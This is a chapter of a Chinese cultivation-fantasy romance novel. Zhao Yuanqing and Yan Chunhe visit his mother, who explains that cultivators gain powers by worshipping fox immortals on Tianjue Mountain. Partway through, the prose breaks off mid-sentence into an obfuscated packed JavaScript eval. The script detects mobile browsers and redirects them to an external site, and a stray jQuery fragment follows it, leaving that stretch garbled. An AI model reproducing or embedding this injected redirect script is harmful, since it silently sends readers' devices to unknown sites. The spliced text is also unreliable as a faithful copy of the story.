胥州的秋叶晃出沙沙声响，烈阳，风却凉飕飕，赵元青在回燕阁的书房，躺在榻上看游记。


    他们已经回来一日了，燕椿和一路上都没什么好脸色给她，也吃饭喝水黏人，就是话少。


    就……也不算没什么好脸色，反正她昨日回来马不停蹄地去竹林给他弄笋，燕椿和十分勉强地吞了一口。


    还小声说她一身牛劲。


    他在闹别扭，赵元青明白。


    她觉得燕椿和也明白，他是天底下最好的人，这是他自我调整的过程。他知道这是正确的，所以他答应了，但他不高兴，所以他要用行动告诉赵元青。


    但不是她不想让他开心，实在……实在是一路上方法都用尽了。


    但很快，燕椿和喊她：“元青，来看一下。”


    她扔掉闲书一骨碌从榻上跃起走到他身旁。


    晚些时候他们二人要去燕宫音那，因此，他今日又穿了身骑装，束了个十分精神的发。


    “我画的图你瞧瞧像不像？”她视线从他脸上挪开，转到他画的图纸上，是那座冰雕的宫殿，她点点头。


    燕椿和深吸口气。


    “让给你，你给你徒弟写信吧，我出去找七叔。”


    自雪山这一来一回大概一个月，正是又到了她给元让蓝写信的日子。


    她看燕椿和把图纸收好，为她铺好纸，磨墨，把笔润好放到笔床上，又打量了一下，觉得实在没什么可做的，才满意眯了下眼，轻轻用肩撞开她朝门口走去。


    最近他总这样，赵元青被撞到时，立刻懂事地微微晃了两下，站不稳似的退后两步，以显示茂茂大王的威武雄壮。


    她坐回到刚刚的位置，开始写信。


    主要是描写景色，写鱼很好吃，她带了一些回来，用盐和香料抹匀，晾挂在回燕阁前面的空地，再过几天晒成鱼干，分他些，还有巍峨的雪山，温泉，松柏，松子。


    写完后置笔，又回去捡起那本闲书看。


    这闲书是燕椿和写的游记，从前看他写的书只会觉得游方君有趣，景色也好，现在再读又有了新的心境变化。


    忍不住会想，他那时，去到新的地方时，他心情如何呢？


    ……


    燕椿和没摇铃，而是沿长廊慢慢走到演武场。


    七叔是一个勤奋刻苦的人，他也喜欢指点弟子们，燕六的弟子大多也都他在带，若是无事，大部分时间都会待在那。


    衔燕阁若真推举头号好人，哪怕刻薄如燕泗，也不得捏着鼻子选他。


    他是母亲捡的孩子，年纪正经论，也仅比母亲小个几十年，跟母亲也久些，论武学，可排衔燕阁第二，只是习惯退让，才排了第七。


    因此，燕椿和只需要问他几件事就可以明白。


    燕七见他来，停了用来演示的棍，示意弟子们两两对着演练，笑着朝他走来。


    “茂茂？元青呢？若是无事，让她再来找我打两圈。”


    燕椿和笑：“晌午后我想带元青去见见母亲呢。七叔，我来是有些事要问你。”他手示意燕七同他来。


    二人来到一处茶室，先聊起江州事务，说了燕六去淅川的事情，又说到牧野，算算时间，元让蓝已经做完他能做的事情了。


    只是没想到，慕容氏的人元让蓝自己悄悄藏下来了一些，这恩惠反倒被他拾去。


    最后说到赵元青。


    燕椿和说赵元青就欣喜起来，忍不住身子坐直些，嘴角难掩上勾。


    “七叔，元青同我说好了，再待几天我们下山游历，这次去就是要同母亲说一下才行。”


    燕七惊讶。


    “她提的？”


    他更加高兴：“是她提的呢！”但突然又有些低落，他是明白的，赵元青一切都出自本心，他不怀疑她此刻的真。但定亲也好，半年的相处也好，其实是赵元青的给他的缓和之地。


    若是这半年内他反悔了，他不想同她相处，二人绝交，她就会点点头说好，然后离开，都不带犹豫的，甚至还会松一口气。


    甚至……甚至她还在给自己留退路。


    他不要这个，他要的是赵元青对他日思夜想，牵肠挂肚，每日想他所想，绝不离开他，也绝不会放他离开。


    这段关系是他求来的，是他百般心思算尽，每一步，每一步，都反复仔细斟酌才得来的，实际上，赵元青不需要他，他知道。


    燕椿和不能再想下去，他问七叔。


    “七叔，你去过天绝山吗？”


    燕七一怔：“阿姐和你说了？同你说的这样早？”他一向管燕宫音叫阿姐。


    但他紧接着摇摇头。


    “我还没去，我刚虚归境没几年，想等你过了身沉境再去。”


    燕椿和一笑：“母亲同元青说的。我们前一阵出门便是去了那。”


    燕七点点头。


    “是好地方，她早些去也好。”


    燕椿和又问：“踏入虚归境后，母亲同你说了几次天绝山？”


    燕七想了一下，肯定地答：“两次，一次我刚破境，一次我随你去江州。”


    燕椿和垂眸想了一下。


    “七叔，母亲生出要孩子的念头，在去天绝山之后吗？”


    燕七没犹豫：“对，她刚破境就去天绝山了。”他眼中疑惑，但没问。燕椿和的决定他从不问。


    燕椿和心中了然。


    “七叔，有件事得麻烦你。”


    燕七立刻起身，被燕椿和阻拦。


    “是元青的事情，这次与她相处，我察觉她对四境以及修者的事知之甚少，这事，思来想去，只能麻烦七叔。”


    燕七点头。


    “这没问题，我也很喜欢元青，明日一早我去找她。”


    他打算顺便再喊赵元青切磋两场，上次切磋时，燕七也觉得有些不对，赵元青对各派了解也不多，而且招式大多是意随形动，无甚章法。


    燕椿和又同燕七聊了几句，约定次日来回燕阁，二人分别，他一人又沿长廊慢慢往回走，心中难掩愁绪。


    踏入书房后，瞧见赵元青已经在门口等他，笑意漫上眼眸，快跑几步扑上抱住。


    “元青，马已经备好了，走吧。”


    二人上马，出衔燕阁直奔浮空山，下浮空岛。


    赵元青瞧着稀奇，八根手腕粗细的铁链，竟能紧紧拽住一个岛，岛上隐有一所庞大的宫殿，真不可思议，二人拴好马后，燕椿和先给她演示，沿铁链滑行至浮空岛，抬眼往上看。


    赵元青是直接跳下来的，她觉得这样省事，等站稳后看见前方宫殿样式一愣。


    指着它说。


    “是那座宫殿。”是了，这宫殿外貌样式皆如冰山上的云宫模样，只是那座是冰雕成的，这里却是通体黝黑。


    燕椿和并无意外，点点头，走到影壁处他摇摇铃，不多时，正殿门无声自开。


    二人一起入内，燕宫音在正殿宝座扶额叹气。


    “怎么又来了？可是去天绝山出了差错？”


    赵元青盯着她出了神，她没想到燕宫音长得如此威仪，师父只说她不好惹，但她同燕椿和长得并不算像。连忙又从袖子里掏出个锦盒，递给燕椿和，示意他给。


    燕椿和一怔，他不知道赵元青准备东西了，今日并不算正式拜见，但他喜欢赵元青的用心，开口笑道：“母亲，元青今日同我一起来的，这是她给您准备的礼物。”


    燕宫音自然是什么值钱的东西都见过，也知道赵元青从前窘迫，她示意燕椿和递过来，打开一看，微微一笑。


    “有心。”


    “母亲，玄月洞中的神魂是什么？”燕椿和问得直接，吓赵元青一跳，她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15410741|156408||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    头一次看他不绕弯讲话。


    燕宫音也很直接，指了指殿内四处雕刻的狐狸壁画。


    “它。”


    “为何？”


    燕宫音一顿，本来她不欲让孩子知道这么早，但他去了，也问了。


    “进洞又称拜神，一共八个，我拜狐仙，入虚归境后，神赐仙力，可分山易物，竭凡人力不能为之事，拜神可做。”


    她手一挥，两把椅子无风自动移到他二人面前。


    “坐罢。”然后又讲起当年。


    事情久远些，大概要在两百年前，张垂云肉身化作灵雨时候说起，当时观礼的人之后大多获得了进益，赵天元、她、其他三大门派的三位，还有大魏的魏清帝和他的两名好友，沈敛，左封婷，还有一位不知姓名的清俊少年，都是被张垂云邀请观礼白日飞升。


    赵天元、她、其他三大门派的三位，自那之后快速进阶，两百年步入虚归境；


    大魏方三人入琅嬛境，取得神秘功法；


    沈敛，左封婷，天赋最好，入虚归境上境时身亡，自此其他人不再追求虚归境上境，反而有意压境。


    而那名清俊少年从未出现过。


    虚归境如何不同呢？先后入境的四人似乎没觉察自己能如同张垂云一样呼风唤雨，日行千里无所不能。


    查来查去，就查到了天绝山，张垂云化境后必去那里。于是赵天元、她、其他三大门派的三位。


    五人入洞，燕宫音拜月获狐仙庇佑，其他人亦如此。


    这才有了神通，有了移山之能。


    赵元青恍然大悟，怪不得，张连山可分水，她是不行的。真厉害，望向燕宫音的眼神不禁带上钦佩。


    又见燕椿和暗暗瞪她，连忙低头，赶紧暗骂自己，这事和燕椿和的母亲有关系，不能跟听故事似的。


    燕椿和拉赵元青去铺着厚毡垫的软榻坐下。


    “娘，这不对吧？”


    燕宫音沉默一瞬。


    “若不去，最多也就如你七叔般，虚归境的真意，就是要入天绝山拜仙，才算踏上仙途。”


    燕椿和起身，母子二人对视：“还是不对。”


    燕宫音有时候挺烦这孩子的，这时候她又觉得生个蠢货也挺好的，像燕七那样，老老实实习武练功，多好。


    她不耐烦答：“虚归境寿数有限，至多不过数百年，若有天绝山上域外真仙降下仙缘，可让与你同届的令狐邈等人均有移山填海之能，换你，你去是不去？”


    燕椿和也有点不耐烦。


    “母亲。”


    “我拜的狐仙名曰玄昭真君，九尾，声似孩童，仙人们仙力有限，自己亦无法长生，需遵循天意，只让我潜心供奉，每年七月初七燃注香便许我仙力及移山之能，”燕宫音深吸一口气，答他。


    燕椿和一怔：“如此简单？”


    燕宫音白他一眼。


    “我能害你七叔和元青不成？拜了仙，寿数不变，凭空多出些神力，如何拜不得？”


    她又道：“我知你觉得不可能，但确实如此，甚至我生你时，若无狐仙庇佑，我也就死了。”


    燕椿和还不信。


    “那白猿呢？母亲可有见到过？”他讲起赵元青在雪山碰见的那只三尾白猿。


    燕宫音想了想道：“九州内常有些精怪，也是正常，别说我，你从前也游历过，见过一些。”


    这话倒是，赵元青自己都见到好几个了。


    燕椿和觉得还是不对，但他没再问。


    这事情，可能母亲只知道这些，不过他倒觉得母亲瞒着他。


    “母亲，还有一事，赵天元你是见过的，他从前性格如何？”


    燕宫音一顿，嫌恶撇嘴。


    “他勉强……算我师兄，从前是垂云宗的人，张垂云的徒弟，一个厉害的小人。”